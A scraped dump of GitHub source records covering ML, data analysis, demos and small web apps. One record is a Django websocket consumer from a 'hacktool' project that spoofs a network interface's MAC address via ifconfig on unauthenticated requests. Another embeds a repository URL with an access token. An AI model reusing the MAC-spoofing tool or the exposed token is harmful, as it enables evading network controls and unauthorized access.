multi_indexing(X, i, self.X_indexing)\n #X_conti = multi_indexing(X_cont, i, self.X_cont_indexing)\n yi = multi_indexing(y, i, self.y_indexing)\n return self.transform(Xi, yi)\n\n def get_X(self):\n return(self.X)\n\n def get_y(self):\n return(self.y)\n\n def get_X_cat(self):\n return (self.X_cat)\n\n def get_X_cont(self):\n return (self.X_cont)\n","repo_name":"raphaelletseng/bias-mitigation-sgd","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"41502255406","text":"\"\"\"\nSimple demo of error handling in Webber DAGs:\n\n- Tracebacks are printed.\n\n- Dependent tasks are skipped.\n\n- The DAG continues to execute independent tasks.\n\"\"\"\nimport sys\nimport webber\n\ndef erroneous():\n \"\"\"Force an exit.\"\"\"\n print(\"I am an error.\")\n sys.exit(1)\n\ndef independent():\n \"\"\"Make a statement.\"\"\"\n print(\"I am independent.\")\n\ndef dependent():\n \"\"\"Make a statement (if you can!)\"\"\"\n print(\"I am dependent.\")\n\nif __name__ == \"__main__\":\n\n dag = webber.DAG()\n\n err_event: str = dag.add_node(erroneous)\n ind_event: str = dag.add_node(independent)\n dep_event: str = dag.add_node(dependent)\n\n _ = dag.add_edge(err_event, dependent)\n _ = dag.add_edge(independent, dependent)\n\n dag.execute()\n","repo_name":"WebberTeam/Webber","sub_path":"examples/dag_err.py","file_name":"dag_err.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"39571072202","text":"# mac_change/consumers.py\nfrom channels.generic.websocket import AsyncWebsocketConsumer\nimport json, subprocess, re\n\nclass MacChange(AsyncWebsocketConsumer):\n\n async def connect(self):\n await self.accept()\n\n async def disconnect(self, close_code):\n print(\"disconnect\", close_code)\n pass\n\n async def receive(self, text_data):\n text_data_json = json.loads(text_data)\n\n if \"reset_mac\" in text_data:\n result = subprocess.check_output([\"ethtool\", \"-P\", \"eth0\"], encoding=\"UTF-8\")\n mac_address = re.findall(r\"\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w\", result)[0]\n await self.send_mac(\"eth0\", mac_address)\n elif \"interface\" in text_data and \"new_mac\" in text_data and len(text_data_json[\"interface\"]) == 4 and len(text_data_json[\"new_mac\"]) == 17:\n print(\"recieve\", text_data_json[\"interface\"], text_data_json[\"new_mac\"])\n\n await self.send_mac(text_data_json[\"interface\"], text_data_json[\"new_mac\"])\n\n else:\n await self.send(text_data=json.dumps({\n 'error': \"Please, fill all fields correctly\"\n }))\n\n async def change_mac(self, interface, new_mac):\n await self.send(text_data=json.dumps({\n 'message': \"[+] Changing MAC address for \" + interface + \" to \" + new_mac\n }))\n print(\"[+] Changing MAC address for \" + interface + \" to \" + new_mac)\n\n subprocess.call([\"ifconfig\", interface, \"down\"])\n subprocess.call([\"ifconfig\", interface, \"hw\", \"ether\", new_mac])\n subprocess.call([\"ifconfig\", interface, \"up\"])\n\n async def get_current_mac(self, interface):\n ifconfig_result = subprocess.check_output([\"ifconfig\", interface], encoding=\"UTF-8\")\n mac_address_search_result = re.search(r\"\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w\", ifconfig_result)\n\n if mac_address_search_result:\n return mac_address_search_result.group(0)\n else:\n await self.send(text_data=json.dumps({\n 'error': \"[-] Could not read MAC address \"\n }))\n print(\"[-] Could not read MAC address \")\n\n async def send_mac(self, interface=\"eth0\", new_mac=\"04:D4:C4:E6:E4:F3\"):\n current_mac = str(await self.get_current_mac(interface))\n if current_mac != \"None\":\n await self.send(text_data=json.dumps({\n 'message': \"Current MAC: \" + current_mac\n }))\n print(\"Current MAC: \" + current_mac)\n await self.change_mac(interface, new_mac)\n\n current_mac = await self.get_current_mac(interface)\n print(current_mac, new_mac)\n if str(current_mac).upper() == new_mac.upper():\n await self.send(text_data=json.dumps({\n 'message': \"[+] MAC address was successfylly changed to \" + str(current_mac)\n }))\n else:\n await self.send(text_data=json.dumps({\n 'error': \"[-] MAC address did not get changed.\"\n }))\n","repo_name":"ramapitecusment/hacktool_web_application_python","sub_path":"mac_change/source_code/MacChange.py","file_name":"MacChange.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13839417209","text":"# %%\nimport pandas as pd\n\nshipment = pd.read_csv('https://raw.githubusercontent.com/MIDS-at-Duke/pds2021-opioids-team-2-ids720/data_merging/20_intermediate_files/merged_pop_and_ship_and_fips.csv?token=AVKGWHYI27VQWUKTL76WBFDBUZJ6O')\n\n# aggregate the data by state and year\nship_grouped = shipment.groupby(['BUYER_STATE','Year'], as_index= False)[['MME', 'Population']].sum()\n\n# add a calculation for shipments per capita\nship_grouped['ships_per_cap'] = ship_grouped['MME']/ship_grouped['Population']\n\n\n\n\n # %%\n# subset the data for only Florida\ntreatment_state = ship_grouped[ship_grouped['BUYER_STATE']=='FL']\n# subset the data for only the control states\ncontrols = ['OR','NV','SC']\ncontrol_states = ship_grouped[ship_grouped['BUYER_STATE'].isin(controls)]\n\n# %%\n# specify the years needed before the policy change\nyear = [2006, 2007, 2008, 2009]\n# create new dataframe with only data from those years\npre_FL_ship = treatment_state.loc[treatment_state['Year'].isin(year)]\npost_FL_ship = treatment_state.loc[~treatment_state['Year'].isin(year)]\n\npre_crtl_ship = control_states.loc[control_states['Year'].isin(year)]\npost_crtl_ship = control_states.loc[~control_states['Year'].isin(year)]\n\n#%%\npre_FL_ship.head()\n\n# %%\nprint(\"pre-policy FL sum = \" + str(pre_FL_ship[\"ships_per_cap\"].sum()))\nprint(\"post-policy FL sum = \" + str(post_FL_ship[\"ships_per_cap\"].sum()))\nprint(\"pre-policy control sum = \" + str(pre_crtl_ship[\"ships_per_cap\"].sum()))\nprint(\"post-policy control sum = \" + str(post_crtl_ship[\"ships_per_cap\"].sum()))\n\n# %%\npre_FL_ship.describe()\n\n# %%\npost_FL_ship.describe()\n\n# %%\npre_crtl_ship.describe()\n\n# %%\npost_crtl_ship.describe()\n\n\n\n# %%\n","repo_name":"MIDS-at-Duke/pds2021-opioids-team-2-ids720","sub_path":"10_code/shipment_summary_stats.py","file_name":"shipment_summary_stats.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"74653562813","text":"##exercise 3:\nglossary = {\"print\":\"prints string or value\",\n \"list\":\"stores multiple values\",\n \"loop\":\"repeated execution\",\n \"input\":\"takes input\",\n \"dictionary\":\"stores both keys and value\"}\nfor x in glossary:\n print(x + \":\" + glossary[x])\nprint(\"\\n\\nNew Keys:\\n\") \nglossary.update({\"function\": \"perfom specific tasks\"})\nglossary.update({\"operator\": \"a symbol used for operations\"})\nglossary.update({\"operand\": \"the values in operation\"})\nglossary.update({\"control flow\": \"decision to change flow of program\"})\nglossary.update({\"boolean\": \"True/false,1/0,Yes/No\"})\nfor x in glossary:\n print(x + \":\" + glossary[x]) ","repo_name":"Code-Lab-1/programming-skills-portfolio-mqasimkhan143","sub_path":"Chapter 5- Dictionaries/Exercises/exercise 3.py","file_name":"exercise 3.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"30108556038","text":"from sys import stdin\ninput = stdin.readline\n\nn = int(input())\nnumbers = list(map(int,input().split()))\n\nm = int(input())\nfinds = list(map(int,input().split()))\n\nre_dict = dict()\nfor i in range(n):\n if numbers[i] in re_dict:\n re_dict[numbers[i]] += 1\n else:\n re_dict[numbers[i]] = 1\n\nresult = [0] * m\nfor i in range(m):\n if finds[i] in re_dict:\n result[i] = re_dict[finds[i]]\nprint(*result)","repo_name":"hs-ryu/TIL","sub_path":"python/알고리즘/baek/수학/10816_숫자카드2.py","file_name":"10816_숫자카드2.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"15784419017","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread('New1.jpg')\nimg = cv2.GaussianBlur(img, (7,7), 0)\ncimg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\nret3,normal = cv2.threshold(cimg,150,255,cv2.THRESH_BINARY)\ninvnorm = cv2.bitwise_not(normal)\n\n\t\t\t\ncv2.namedWindow('Image' ,cv2.WINDOW_NORMAL)\ncv2.resizeWindow('Image', 600,600)\ncv2.imshow('Image', normal)\ncv2.waitKey(0)\n\ncircles = cv2.HoughCircles(normal,cv2.HOUGH_GRADIENT,2,500,\n param1=400,param2=70,minRadius=100,maxRadius=500)\n\nprint(circles)\ncircles = np.uint16(np.around(circles))\nfor i in circles[0,:]:\n # draw the outer circle\n cv2.circle(img,(i[0],i[1]),i[2],(0,255,0),2)\n # draw the center of the circle\n cv2.circle(img,(i[0],i[1]),2,(0,0,255),3)\n\ncv2.namedWindow('Image' ,cv2.WINDOW_NORMAL)\ncv2.resizeWindow('Image', 600,600)\ncv2.imshow('Image', img)\ncv2.waitKey(0)\n\n","repo_name":"gbiswas0/ZoneDetection","sub_path":"Houghtest.py","file_name":"Houghtest.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"2918638662","text":"import os\nimport sys\nfrom multiprocessing import Value, Lock, Queue\n\nsys.path.append(\"../tuna\")\nsys.path.append(\"tuna\")\n\nthis_path = os.path.dirname(__file__)\n\nfrom tuna.fin_eval import FinEvaluator\nfrom tuna.sql import DbCursor\nfrom tuna.dbBase.sql_alchemy import DbSession\nfrom tuna.tables import DBTables\nfrom dummy_machine import DummyMachine\nfrom tuna.tables import ConfigType\nfrom utils import CfgImportArgs\n\n\ndef test_fin_evaluator():\n res = None\n\n num_gpus = Value('i', 1)\n v = Value('i', 0)\n e = Value('i', 0)\n\n args = CfgImportArgs()\n config_type = ConfigType.convolution\n dbt = DBTables(config_type=args.config_type)\n with DbSession() as session:\n dbt.session_id = session.query(dbt.job_table.session).filter(dbt.job_table.state=='compiled')\\\n .filter(dbt.job_table.reason=='tuna_pytest_fin_builder').first().session\n\n kwargs = {\n 'machine': DummyMachine(False),\n 'gpu_id': 0,\n 'num_procs': num_gpus,\n 'barred': v,\n 'bar_lock': Lock(),\n 'envmt': [\"MIOPEN_LOG_LEVEL=7\"],\n 'reset_interval': False,\n 'app_test': False,\n 'label': 'tuna_pytest_fin_builder',\n 'fin_steps': ['miopen_find_eval'],\n 'use_tuner': False,\n 'job_queue': Queue(),\n 'queue_lock': Lock(),\n 'fetch_state': ['compiled'],\n 'end_jobs': e,\n 'session_id': dbt.session_id\n }\n\n # test get_job true branch\n fin_eval = FinEvaluator(**kwargs)\n ans = fin_eval.get_job('compiled', 'evaluating', False)\n assert (ans is True)\n\n with DbSession() as session:\n count = session.query(dbt.job_table).filter(dbt.job_table.state=='evaluating')\\\n .filter(dbt.job_table.reason=='tuna_pytest_fin_builder').count()\n assert (count == 1)\n\n # test get_fin_input\n file_name = fin_eval.get_fin_input()\n assert (file_name)\n\n # test check gpu with \"bad\" GPU\n # the job state will set back to \"compiled\" from \"evaluating\"\n fin_eval.check_gpu()\n with DbSession() as session:\n count = session.query(dbt.job_table).filter(dbt.job_table.state=='evaluating')\\\n .filter(dbt.job_table.reason=='tuna_pytest_fin_builder').count()\n assert (count == 0)\n\n # test check gpu with \"good\" GPU\n # the job state will remain 'evaluated'\n ans = fin_eval.get_job('compiled', 'evaluated', False)\n assert (ans is True)\n fin_eval.machine.set_gpu_state(True)\n fin_eval.check_gpu()\n with DbSession() as session:\n count = session.query(dbt.job_table).filter(dbt.job_table.state=='evaluated')\\\n .filter(dbt.job_table.reason=='tuna_pytest_fin_builder').count()\n assert (count == 1)\n\n with DbSession() as session:\n count = session.query(dbt.job_table).filter(dbt.job_table.session==dbt.session_id)\\\n .filter(dbt.job_table.state=='evaluated')\\\n .filter(dbt.job_table.reason=='tuna_pytest_fin_builder').delete()\n\n #test get_job false branch\n fin_eval = FinEvaluator(**kwargs)\n ans = fin_eval.get_job('new', 'evaluating', False)\n assert (ans is False)\n","repo_name":"technicalgrp89/MITuna","sub_path":"tests/test_fin_evaluator.py","file_name":"test_fin_evaluator.py","file_ext":"py","file_size_in_byte":3141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"73067727931","text":"#!/usr/bin/python3\n\n\ndef format_file(rows):\n commands = []\n for row in rows:\n row = row.split(\"->\")\n move = []\n for coordinate in row:\n coordinate=coordinate.strip()\n coordinate=coordinate.split(\",\")\n move.append(list(map(int,coordinate)))\n commands.append(move)\n return commands\n\nclass Board:\n matrix = []\n \n def __init__(self):\n self.matrix = [[0 for x in range(1000)] for y in range(1000)]\n\n def mark(self, command):\n if command[0][0] == command[1][0]:\n x = command[0][0]\n start = min([command[0][1],command[1][1]])\n end = max([command[0][1],command[1][1]])\n for y in range (start,end+1):\n self.matrix[x][y] += 1\n elif command[0][1] == command[1][1]:\n y = command[0][1]\n start = min([command[0][0],command[1][0]])\n end = max([command[0][0],command[1][0]])\n for x in range (start,end+1):\n self.matrix[x][y] += 1\n else:\n print(f\"Line Not Horiz or Vert : {command}\")\n return self.matrix\n\n def overlap(self):\n result=0\n for x in range(len(self.matrix)):\n for y in range(len(self.matrix)):\n if self.matrix[x][y] > 1 :\n result += 1\n return result\n\n\nwith open('input.txt') as f:\n rows = f.readlines()\n commands = format_file(rows)\n print(f\"Commands : {commands}\")\n board = Board()\n for command in commands:\n board.mark(command)\n print(f\"Result : {board.overlap()}\")\n","repo_name":"LucVanw/AdventOfCode2021","sub_path":"05/05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"73816710653","text":"from math import radians\nfrom pytouhou.vm import spawn_enemy\nfrom pytouhou.game import NextStage\n\n\ndef disk(enemy, game):\n if enemy.frame == 0:\n enemy.set_anim(0)\n\n enemy.set_hitbox(32, 32)\n\n enemy.death_anim = 1\n\n enemy.update_mode = 0\n enemy.angle, enemy.speed = radians(90), 1.5\n\n elif enemy.frame == 10000:\n enemy.removed = True\n\n\ndef boss(enemy, game):\n if enemy.frame == 0:\n enemy.set_anim(3)\n enemy.set_hitbox(8, 32)\n enemy.death_flags = 1\n enemy.set_boss(True)\n\n enemy.timeout = 20 * 60\n enemy.timeout_callback.enable(some_spellcard, (enemy, game))\n\n enemy.low_life_trigger = 0x40\n enemy.low_life_callback.enable(some_spellcard, (enemy, game))\n\n elif enemy.frame == 10000:\n enemy.removed = True\n\n if enemy.frame % 10 == 0:\n enemy.set_bullet_attributes(67, 0, 0, 3 if game.spellcard is not None else 1, 1, 6., 6., 0., radians(3), 0)\n\n\ndef some_spellcard(enemy, game):\n enemy.life = 0x40\n enemy.difficulty_coeffs = (-.5, .5, 0, 0, 0, 0)\n game.change_bullets_into_star_items()\n game.spellcard = (42, 'Some Spellcard', 0)\n game.enable_spellcard_effect()\n\n enemy.timeout = 10 * 60\n enemy.timeout_callback.enable(on_boss_death, (enemy, game))\n enemy.death_callback.enable(on_boss_death, (enemy, game))\n enemy.low_life_callback.disable()\n\n\ndef on_boss_death(enemy, game):\n enemy.timeout_callback.disable()\n enemy.death_callback.disable()\n game.disable_spellcard_effect()\n enemy.removed = True\n\n raise NextStage\n\n\ndef stage1(game):\n if game.frame == 0x10:\n spawn_enemy(game, disk, x=50., y=-32., life=20, score=300)\n elif game.frame == 0x20:\n spawn_enemy(game, disk, x=60., y=-32., life=20, score=300)\n elif game.frame == 0x30:\n spawn_enemy(game, disk, x=70., y=-32., life=20, score=300)\n elif game.frame == 0x40:\n spawn_enemy(game, disk, x=80., y=-32., life=20, score=300)\n elif game.frame == 0x50:\n spawn_enemy(game, disk, x=90., y=-32., life=20, score=300)\n elif game.frame == 0x60:\n spawn_enemy(game, disk, x=100., y=-32., life=20, score=300)\n elif game.frame == 0x100:\n spawn_enemy(game, boss, x=192., y=64., life=1000, item=-2, score=10000)\n","repo_name":"GovanifY/PyTouhou","sub_path":"pytouhou/games/sample/enemies.py","file_name":"enemies.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"78"}
+{"seq_id":"38120669992","text":"from django.core.cache import cache\nfrom django.shortcuts import render, redirect\nfrom .models import *\nimport json\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\n\ndef index(request):\n pizza = Pizza.objects.all()\n orders = Order.objects.filter(user = request.user)\n context = {'pizza' : pizza , 'orders' : orders}\n return render(request,'index.html',context)\n\ndef details(request):\n return render(request,'details.html')\n\n\ndef order(request , order_id):\n if cache.get(order_id):\n print('data from Cache Redis')\n order = cache.get(order_id)\n else:\n order = Order.objects.filter(order_id=order_id).first()\n print('data from DB')\n cache.set(order_id, order)\n if order is None:\n return redirect('/')\n \n context = {'order' : order}\n return render(request , 'details.html', context)\n \n@csrf_exempt\ndef order_pizza(request):\n user = request.user\n data = json.loads(request.body)\n \n try:\n pizza = Pizza.objects.get(id=data.get('id'))\n order = Order(user=user, pizza=pizza , amount = pizza.price)\n order.save()\n return JsonResponse({'message': 'Success'})\n \n except Pizza.DoesNotExist:\n return JsonResponse({'error': 'Something went wrong'})","repo_name":"pravin130794/pythonDjangoOrderTracking","sub_path":"OrderTracking/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"72753260093","text":"from flask import Flask, render_template, request\nimport pickle\n\napp = Flask(__name__)\n# load the model\nmodel = pickle.load(open('savedmodel.sav', 'rb'))\n\n@app.route('/')\ndef home():\n result = ''\n return render_template('index.html', **locals())\n\n\n@app.route('/predict', methods=['POST', 'GET'])\ndef predict():\n sepal_length = float(request.form['sepal_length'])\n sepal_width = float(request.form['sepal_width'])\n petal_length = float(request.form['petal_length'])\n petal_width = float(request.form['petal_width'])\n result = model.predict([[sepal_length, sepal_width, petal_length, petal_width]])[0]\n return render_template('index.html', **locals())\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"aswintechguy/Machine-Learning-Projects","sub_path":"Iris dataset analysis - Classification/Deploy model using Flask/deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":565,"dataset":"github-code","pt":"78"}
+{"seq_id":"41900773660","text":"# -*- coding: utf-8 -*-\n# (c) 2025 Alfredo de la Fuente - AvanzOSC\n# License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html\nimport openerp.tests.common as common\n\n\nclass TestSaleOrderLineServiceView(common.TransactionCase):\n\n def setUp(self):\n super(TestSaleOrderLineServiceView, self).setUp()\n self.sale_model = self.env['sale.order']\n self.wiz_model = self.env['wiz.delete.sale.line']\n service_product = self.env.ref('product.product_product_consultant')\n sale_vals = {\n 'name': 'sale order 1',\n 'partner_id': self.ref('base.res_partner_1'),\n 'partner_shipping_id': self.ref('base.res_partner_1'),\n 'partner_invoice_id': self.ref('base.res_partner_1'),\n 'pricelist_id': self.env.ref('product.list0').id,\n }\n sale_line_vals = {\n 'product_id': service_product.id,\n 'name': service_product.name,\n 'product_uom_qty': 7,\n 'product_uos_qty': 7,\n 'product_uom': service_product.uom_id.id,\n 'price_unit': service_product.list_price}\n sale_vals['order_line'] = [(0, 0, sale_line_vals)]\n self.sale_order = self.sale_model.create(sale_vals)\n\n def test_sale_order_line_service_view(self):\n wiz = self.wiz_model.with_context(\n active_ids=self.sale_order.ids).create({})\n wiz.lines.write({'delete_record': True})\n wiz.button_delete_sale_lines()\n self.assertEqual(\n len(self.sale_order.order_line), 0, 'Sale order with line')\n\n def test_sale_order_line_service(self):\n self.assertEquals(len(self.sale_order.order_line), 1)\n for line in self.sale_order.order_line:\n line.invalidate_cache()\n self.assertEquals(self.sale_order.order_line,\n self.sale_order.service_order_line |\n self.sale_order.no_service_order_line)\n self.assertEquals(len(self.sale_order.service_order_line), 1)\n","repo_name":"alfredoavanzosc/sale-addons","sub_path":"sale_order_line_service_view/tests/test_sale_order_line_service_view.py","file_name":"test_sale_order_line_service_view.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"}
+{"seq_id":"2158910030","text":"from typing import NamedTuple\n\nimport gwv.filters as filters\nfrom gwv.helper import categorize, cjk_sources, is_gokan_kanji_cp, \\\n is_togo_kanji_cp\nfrom gwv.validatorctx import ValidatorContext\nfrom gwv.validators import Validator, ValidatorErrorEnum, error_code\n\n\nclass RelatedValidatorError(ValidatorErrorEnum):\n @error_code(\"0\")\n class WRONG_RELATED(NamedTuple):\n \"\"\"間違った関連字\"\"\"\n related: str\n correct_related: str\n\n @error_code(\"1\")\n class MISSING_RELATED(NamedTuple):\n \"\"\"関連字なし\"\"\"\n correct_related: str\n\n @error_code(\"2\")\n class ENTITY_NOT_FOUND(NamedTuple):\n \"\"\"実体が存在しない\"\"\"\n entity_name: str\n\n @error_code(\"10\")\n class WRONG_ENTITY_RELATED(NamedTuple):\n \"\"\"実体の関連字が違う\"\"\"\n entity_name: str\n entity_related: str\n correct_related: str\n\n @error_code(\"11\")\n class MISSING_ENTITY_RELATED(NamedTuple):\n \"\"\"実体が関連字なし\"\"\"\n entity_name: str\n correct_related: str\n\n\nE = RelatedValidatorError\n\n\nclass RelatedValidator(Validator):\n\n @filters.check_only(+filters.is_of_category({\"ucs-kanji\"}))\n def is_invalid(self, ctx: ValidatorContext):\n expected_related = \"u\" + ctx.category_param[1][0]\n if is_gokan_kanji_cp(int(expected_related[1:], 16)):\n u = cjk_sources.get(\n expected_related, cjk_sources.COLUMN_COMPATIBILITY_VARIANT)\n if u is None:\n return False\n expected_related = \"u\" + u[2:].lower()\n\n if ctx.glyph.related != \"u3013\" and \\\n expected_related != ctx.glyph.related:\n # 間違った関連字\n return E.WRONG_RELATED(ctx.glyph.related, expected_related)\n\n if ctx.glyph.entity_name is not None:\n entity_category, entity_param = categorize(ctx.glyph.entity_name)\n if entity_category == \"ucs-kanji\" and \\\n is_togo_kanji_cp(int(entity_param[0], 16)):\n return False\n if ctx.glyph.entity_name not in ctx.dump:\n # 実体が存在しない\n return E.ENTITY_NOT_FOUND(ctx.glyph.entity_name)\n\n related = ctx.entity.related\n if related == \"u3013\":\n # 実体が関連字なし\n return E.MISSING_ENTITY_RELATED(\n ctx.glyph.entity_name, expected_related)\n\n if expected_related != related:\n # 実体の関連字が違う\n return E.WRONG_ENTITY_RELATED(\n ctx.glyph.entity_name, related, expected_related)\n\n elif ctx.glyph.related == \"u3013\":\n return E.MISSING_RELATED(expected_related) # 関連字なし\n\n return False\n","repo_name":"kurgm/gwv","sub_path":"gwv/validators/related.py","file_name":"related.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"73837089850","text":"#oxford_api = '65e664d4'\r\n\r\n#python -m pip install requests\r\n\r\nimport requests\r\nimport json\r\nimport pprint\r\nimport flask\r\n\r\napp_id = '65e664d4'\r\napp_key = '7ede5606bf2c1551bafc98676fd4bac9'\r\n\r\nlanguage = 'en'\r\nword_id = 'selfie'\r\n\r\nurl = 'https://od-api.oxforddictionaries.com:443/api/v1/entries/' + language + '/' + word_id.lower()\r\n\r\nr = requests.get(url, headers = {'app_id' : app_id, 'app_key' : app_key})\r\nprint(\"code {}\\n\".format(r.status_code))\r\nprint(\"text \\n\" + r.text)\r\n#print(\"json \\n\" + json.dumps(r.json()))\r\n\r\ndata = json.dumps(r.json())\r\n\r\njsonToPython = json.loads(data)\r\n\r\n#The pp will make indent the json file so it is easily readable\r\npp = pprint.PrettyPrinter(indent=4)\r\npp.pprint (jsonToPython)\r\n\r\nfor word in jsonToPython['results']:\r\n theWord = word['id']\r\n print(\"Word:\", theWord)\r\n #print(word['definitions'])\r\n\r\nfor word in jsonToPython['results']:\r\n for entries in (word['lexicalEntries']):\r\n for deff in (entries['entries']):\r\n for line in (deff['senses']):\r\n if line == \",\" or line == \"[\" or line == \"]\":\r\n print(\"\")\r\n else:\r\n theDefinition = line[\"definitions\"]\r\n print(\"Definition:\", theDefinition)\r\n\r\n#Info to export to html\r\n","repo_name":"David-Quan00/VastVocab","sub_path":"oxford_api.py","file_name":"oxford_api.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"21080426454","text":"from Layer import *\nimport json\n\nm = 10000\nbytes_to_read = m * 784\ntheta_filename = 'parameters/min_cost.json'\n# theta_filename = 'parameters/last_epoch.json'\ntestfile_image = 'data/t10k-images-idx3-ubyte'\ntestfile_label = 'data/t10k-labels-idx1-ubyte'\n# testfile_image = 'data/train-images-idx3-ubyte'\n# testfile_label = 'data/train-labels-idx1-ubyte'\n\n# Read thetas\nwith open(theta_filename, 'r') as f:\n js_obj = json.load(f)\n\n# Read testing set\nwith open(testfile_image, 'rb') as f:\n meta = f.read(16)\n raw = f.read(bytes_to_read)\nx = reshape(array([raw[i] for i in range(bytes_to_read)]), (m,784))\nx = insert(x, 0, 1, axis=1)\n\n# Read testing set labels\nwith open(testfile_label, 'rb') as f:\n meta = f.read(8)\n raw = f.read(m)\ny = array([raw[i] for i in range(m)])\n\nnetwork = []\n# Input layer\nnetwork.append(Layer(a=x,theta=reshape(array(js_obj['theta1']),(50,785))))\n# Two hidden layers\nnetwork.append(Layer(theta=reshape(array(js_obj['theta2']),(50,51))))\nnetwork.append(Layer(theta=reshape(array(js_obj['theta3']),(10,51))))\n# Output layer\nnetwork.append(Layer())\n\nnetwork[1].activate(network[0],next_to_input=True)\nfor i in range(2,len(network)):\n network[i].activate(network[i-1])\n\nnetwork_predictions = array([])\nfor a in network[3].a:\n temp, prediction = 0, 0\n for confidence in range(a.size):\n if a[confidence] > temp:\n temp = a[confidence]\n prediction = confidence\n network_predictions = append(network_predictions, prediction)\n\ncorrect_predictions = 0\nfor i in range(m):\n if y[i] == network_predictions[i]:\n correct_predictions += 1\n\nprint('Correct network predictions:', str(100*correct_predictions/m)+'%')","repo_name":"stephenwang5/handwritten-digit-reader","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"25364870159","text":"\"\"\"Entry point for game\"\"\"\nfrom view import viewfactory as vf\nfrom model import core as pp\n\ndef main():\n \"\"\"simple game loop to link a view with our model logic\"\"\"\n model = pp.PerpendicularPaths()\n view = vf.factory_create()\n view.init(model)\n while 1:\n view.handle_events()\n view.update()\n view.display()\n view.quit()\n\nif __name__ == '__main__':\n main()\n","repo_name":"Jagermeister/PerpendicularPaths","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"9869595845","text":"from django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render\nfrom item.models import Item, ItemCategory, Bid\nfrom checkout.models import Rating\n\n\n# home_page\ndef home_page(request):\n if 'search_filter' in request.GET:\n search_filter = request.GET['search_filter']\n filtered_items = Item.objects.filter(name__icontains=search_filter)\n\n if request.headers.get('x-requested-with') == 'XMLHttpRequest':\n return JsonResponse({'data': [{\n 'id': x.id,\n 'name': x.name,\n 'description': x.description,\n 'condition': x.condition,\n 'firstImage': x.images_set.first().image,\n } for x in filtered_items]})\n return render(request, 'fire_sale/home_page.html', {\n 'items': filtered_items\n })\n\n if 'sort_by' in request.GET:\n order_by = request.GET['sort_by']\n order_by_items = Item.objects.order_by(order_by)\n\n if request.headers.get('x-requested-with') == 'XMLHttpRequest':\n return JsonResponse({'data': [{\n 'id': x.id,\n 'name': x.name,\n 'description': x.description,\n 'condition': x.condition,\n 'firstImage': x.images_set.first().image,\n } for x in order_by_items]})\n return render(request, 'fire_sale/home_page.html', {\n 'items': order_by_items\n })\n\n bid_status = Bid.objects.filter(buyer__id=request.user.id)\n notification = 'False'\n for i in bid_status:\n if i.status == \"accepted\":\n notification = 'True'\n ratings = Rating.objects.filter(seller__id=request.user.id).all()\n all_ratings = []\n for i in ratings:\n all_ratings.append(i.rating)\n if len(all_ratings) != 0:\n average_rating = round(sum(all_ratings)/len(all_ratings), 1)\n else:\n average_rating = \"\"\n\n return render(request, 'fire_sale/home_page.html', {\n 'items': Item.objects.all().order_by('name'),\n 'categories': ItemCategory.objects.all(),\n 'average_rating': average_rating,\n 'notification': notification\n })\n\n","repo_name":"birnarunkarls/FireSale","sub_path":"fire_sale/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
